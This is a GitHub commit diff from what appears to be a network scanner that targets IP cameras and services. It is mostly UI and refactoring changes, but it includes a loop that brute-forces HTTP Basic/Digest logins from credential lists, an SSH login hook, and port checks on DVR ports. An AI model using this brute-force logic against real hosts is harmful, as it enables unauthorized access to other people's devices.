Skip to content

Commit

Permalink
Shuffle visualizer
Browse files Browse the repository at this point in the history
  • Loading branch information
cora32 committed Aug 7, 2015
1 parent 68bfe18 commit 36f908a
Show file tree
Hide file tree
Showing 42 changed files with 5,504 additions and 5,192 deletions.
70 changes: 46 additions & 24 deletions BasicAuth.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -25,8 +25,6 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
|| Utils::ustrstr(*buffer, "403 Forbidden") != -1
)
{
stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");

Sleep(30000);
return -1;
}
Expand All @@ -47,33 +45,28 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode
return 0;
}

lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
string lpString;
lopaStr BA::BABrute(const char *ip, const int port) {
bool digestMode = true;
string lpString;
lopaStr lps = {"UNKNOWN", "", ""};
int passCounter = 0;
int res = 0;
int rowIndex = -1;

std::string buff;
Connector con;
Sleep(1000);

con.nConnect(ip, port, &buff);
int isDig = Utils::isDigest(&buff);
QString ipString = QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port);
if (isDig == -1) {
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port) + "/\">" +
QString(ip) + ":" + QString::number(port) + "</a></span>");
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + ipString + "/\">" +
ipString + "</a></span>");
strcpy(lps.login, "");
return lps;
}
else if (isDig == 1) {
if (digestMode != true) {
digestMode = true;
}
}
else {
if (digestMode != false) {
digestMode = false;
};
}
else if (isDig == 1) digestMode = true;
else digestMode = false;

std::string buffer;

Expand All @@ -96,6 +89,13 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
else if (res != -1) {
res = checkOutput(&buffer, ip, port);
if (res == -2) {

if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "404");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "404");
}
strcpy(lps.other, "404");
return lps;
}
Expand All @@ -104,31 +104,53 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
break;
}
if (res == 1) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
}

strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]);
return lps;
};
}

if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");

Sleep(100);
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
QString(loginLst[i]) + ":" + QString(passLst[j]),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
}
else { rowIndex = -1; }
++passCounter;
Sleep(50);
}
}

if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return lps;
}

lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) {
lopaStr BA::BALobby(const char *ip, const int port) {
if(gMaxBrutingThreads > 0) {

while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);

++baCount;
++BrutingThrds;
const lopaStr &lps = BABrute(ip, port, digestMode);
const lopaStr &lps = BABrute(ip, port);
--BrutingThrds;

return lps;
Expand Down
4 changes: 2 additions & 2 deletions BasicAuth.h
Original file line number Diff line number Diff line change
Expand Up @@ -8,11 +8,11 @@

class BA {
private:
static lopaStr BABrute(const char *ip, const int port, bool digestMode);
static lopaStr BABrute(const char *ip, const int port);

public:
static int checkOutput(const string *buffer, const char *ip, const int port);
static lopaStr BALobby(const char *ip, const int port, bool digestMode);
static lopaStr BALobby(const char *ip, const int port);
};

#endif // BASICAUTH_H
60 changes: 44 additions & 16 deletions Connector.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@
#include "SSHAuth.h"
#include "Filter.h"


#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
int _pingMyTarget(const char *ip)
{
Expand Down Expand Up @@ -197,16 +196,14 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
else res = curl_easy_perform(curl);

int sz = buffer->size();

curl_easy_cleanup(curl);
if (res == CURLE_OK || (port == 21 && sz > 0)) {
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
Activity += sz;

curl_easy_cleanup(curl);
return sz;
} else {
curl_easy_cleanup(curl);
if (res == 6) return -2;
if (res == 56 && port == 8000) return 1; //Hikvision
else if (res != 28 &&
res != 7 &&
res != 13 &&
Expand All @@ -219,7 +216,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
res != 23)
{
if (res == 5) {
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
stt->doEmitionRedFoundData("The given proxy host could not be resolved.");
return -2;
} else if (res == 8) {
stt->doEmitionFoundData("Strange ftp reply. (" +
Expand Down Expand Up @@ -251,6 +248,28 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
};
}

bool portCheck(const char * sDVRIP, int wDVRPort) {
CURL *curl = curl_easy_init();
if (curl != NULL) {
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
curl_easy_setopt(curl, CURLOPT_URL, sDVRIP);
curl_easy_setopt(curl, CURLOPT_PORT, wDVRPort);
int proxyPort = std::atoi(gProxyPort);
if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L);

int res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
if (res != CURLE_OK) {
return false;
}
else return true;
}
else return false;
}
int Connector::connectToPort(char* ip, int port)
{
if(gPingNScan)
Expand All @@ -261,16 +280,25 @@ int Connector::connectToPort(char* ip, int port)
std::string buffer;
int size = 0;

if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
else size = nConnect(ip, port, &buffer);
if (port != 37777 && port != 8000 && port != 34567 && port != 9000){
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
else size = nConnect(ip, port, &buffer);

if(size > 0)
{
++Alive;//ME2
++found;//PieStat
Lexems lx;
lx.filler(ip, port, &buffer, size, &lx);
if (size > 0)
{
++Alive;//ME2
++found;//PieStat
Lexems lx;
lx.filler(ip, port, &buffer, size, &lx);
}
else if (size == -2) return -2;
} else {
if (portCheck(ip, port)) {
++Alive;//ME2
++found;//PieStat
Lexems lx;
lx.filler(ip, port, &buffer, size, &lx);
};
}
else if (size == -2) return -2;
return 0;
return 0;
}
26 changes: 21 additions & 5 deletions Connector.h
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,27 @@
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib,"curllib.lib")
#endif

#include <openssl/err.h>

#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
#define MUTEX_TYPE HANDLE
#define MUTEX_SETUP(x) (x) = CreateMutex(NULL, FALSE, NULL)
#define MUTEX_CLEANUP(x) CloseHandle(x)
#define MUTEX_LOCK(x) WaitForSingleObject((x), INFINITE)
#define MUTEX_UNLOCK(x) ReleaseMutex(x)
#define THREAD_ID GetCurrentThreadId()
#else
#include <pthread.h>
#define MUTEX_TYPE pthread_mutex_t
#define MUTEX_SETUP(x) pthread_mutex_init(&(x), NULL)
#define MUTEX_CLEANUP(x) pthread_mutex_destroy(&(x))
#define MUTEX_LOCK(x) pthread_mutex_lock(&(x))
#define MUTEX_UNLOCK(x) pthread_mutex_unlock(&(x))
#define THREAD_ID pthread_self()
#endif


class Connector {

public:
Expand All @@ -18,11 +39,6 @@ class Connector {
const std::vector<std::string> *customHeaders = NULL,
const std::string *lpString = NULL,
bool digestMode = false);
//static int nConnect2(const char* ip, const int port, std::string *buffer,
// const char *postData = NULL,
// const std::vector<std::string> *customHeaders = NULL,
// const std::string *lpString = NULL,
// bool digestMode = false);
int connectToPort(char *ip, int port);
};
#endif // CONNECTOR_H
32 changes: 16 additions & 16 deletions DrawerTh_ME2Scanner.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -40,8 +40,8 @@ int MakePolygonLine(int gWidth)
xtx = x + tx;
if(xtx > 1 && xtx < 31)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS);
if(AnomC1 > 0)
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - camerasC1 * 2 - fact1 : ME2YPOS);
if (camerasC1 > 0)
{
if(xtx < 16 ) fact1+=2;
else fact1-=2;
Expand All @@ -50,9 +50,9 @@ int MakePolygonLine(int gWidth)

if(xtx > 34 && xtx < 72)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*WF*/0 * 2 - fact2 : ME2YPOS);

if(WF > 0)
if(/*WF*/0 > 0)
{
if(xtx < 52 ) fact2+=2;
else fact2-=2;
Expand All @@ -72,9 +72,9 @@ int MakePolygonLine(int gWidth)

if(xtx > 114 && xtx < 152)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - other * 2 - fact4 : ME2YPOS);

if(Susp > 0)
if (other > 0)
{
if(xtx < 132 ) fact4+=2;
else fact4-=2;
Expand All @@ -94,9 +94,9 @@ int MakePolygonLine(int gWidth)

if(xtx > 194 && xtx < 232)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*Lowl*/0 * 2 - fact6 : ME2YPOS);

if(Lowl > 0)
if(/*Lowl*/0 > 0)
{
if(xtx < 212 ) fact6+=2;
else fact6-=2;
Expand All @@ -118,14 +118,14 @@ int MakePolygonLine(int gWidth)
tx = x;
};

AnomC1 = 0;
WF = 0;
camerasC1 = 0;
//WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
Lowl = 0;
//Lowl = 0;
Alive = 0;
Susp = 0;
other = 0;

DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS));
return DrawerTh_ME2Scanner::polyVect.size();
Expand All @@ -148,14 +148,14 @@ void DrawerTh_ME2Scanner::run()
else
{
msleep(1000);
AnomC1 = 0;
WF = 0;
camerasC1 = 0;
//WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
Lowl = 0;
//Lowl = 0;
Alive = 0;
Susp = 0;
other = 0;
};
msleep(100);
};
Expand Down
Loading

0 comments on commit 36f908a

Please sign in to comment.